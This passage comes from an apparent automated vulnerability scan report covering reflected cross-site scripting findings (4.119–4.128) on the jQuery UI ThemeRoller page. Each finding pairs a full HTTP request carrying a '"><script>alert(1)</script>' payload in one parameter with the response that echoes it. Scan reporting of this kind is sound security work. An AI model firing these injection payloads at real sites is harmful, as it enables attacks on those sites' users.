er=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=4545451117f"><script>alert(1)</script>1dd019a3a40&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05
...[SNIP]...

4.119. http://jqueryui.com/themeroller/ [iconColorContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6491"><script>alert(1)</script>f0203e10f2c was submitted in the iconColorContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222b6491"><script>alert(1)</script>f0203e10f2c&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:40 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222b6491"><script>alert(1)</script>f0203e10f2c&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpaci
...[SNIP]...

4.120. http://jqueryui.com/themeroller/ [iconColorDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a592"><script>alert(1)</script>edb7195d969 was submitted in the iconColorDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=8888887a592"><script>alert(1)</script>edb7195d969&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:47 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
olorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=8888887a592"><script>alert(1)</script>edb7195d969&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65
...[SNIP]...

4.121. http://jqueryui.com/themeroller/ [iconColorError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b01e6"><script>alert(1)</script>0f6b126416c was submitted in the iconColorError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0ab01e6"><script>alert(1)</script>0f6b126416c&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:18 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0ab01e6"><script>alert(1)</script>0f6b126416c&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&of
...[SNIP]...

4.122. http://jqueryui.com/themeroller/ [iconColorHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3f40"><script>alert(1)</script>b5efdf2fccd was submitted in the iconColorHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50Fc3f40"><script>alert(1)</script>b5efdf2fccd&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:33 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
rial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50Fc3f40"><script>alert(1)</script>b5efdf2fccd&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.p
...[SNIP]...

4.123. http://jqueryui.com/themeroller/ [iconColorHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fd6e"><script>alert(1)</script>adbb59b0eda was submitted in the iconColorHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff8fd6e"><script>alert(1)</script>adbb59b0eda&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:12 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff8fd6e"><script>alert(1)</script>adbb59b0eda&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOv
...[SNIP]...

4.124. http://jqueryui.com/themeroller/ [iconColorHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75e02"><script>alert(1)</script>7ea5a831bc2 was submitted in the iconColorHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=45454575e02"><script>alert(1)</script>7ea5a831bc2&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:57 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
t=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=45454575e02"><script>alert(1)</script>7ea5a831bc2&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&
...[SNIP]...

4.125. http://jqueryui.com/themeroller/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb75b"><script>alert(1)</script>4df809d7d12 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?cb75b"><script>alert(1)</script>4df809d7d12=1 HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:10 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 117121

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&cb75b"><script>alert(1)</script>4df809d7d12=1" type="text/css" media="all" />
...[SNIP]...

4.126. http://jqueryui.com/themeroller/ [offsetLeftShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the offsetLeftShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55af7"><script>alert(1)</script>6e5e671217c was submitted in the offsetLeftShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px55af7"><script>alert(1)</script>6e5e671217c&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:32 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px55af7"><script>alert(1)</script>6e5e671217c&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

4.127. http://jqueryui.com/themeroller/ [offsetTopShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the offsetTopShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb7bf"><script>alert(1)</script>22581e16a07 was submitted in the offsetTopShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8pxbb7bf"><script>alert(1)</script>22581e16a07&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:31 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
aaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8pxbb7bf"><script>alert(1)</script>22581e16a07&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

4.128. http://jqueryui.com/themeroller/ [opacityOverlay parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the opacityOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbbb9"><script>alert(1)</script>258191088c6 was submitted in the opacityOverlay parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30fbbb9"><script>alert(1)</script>258191088c6&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:23 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
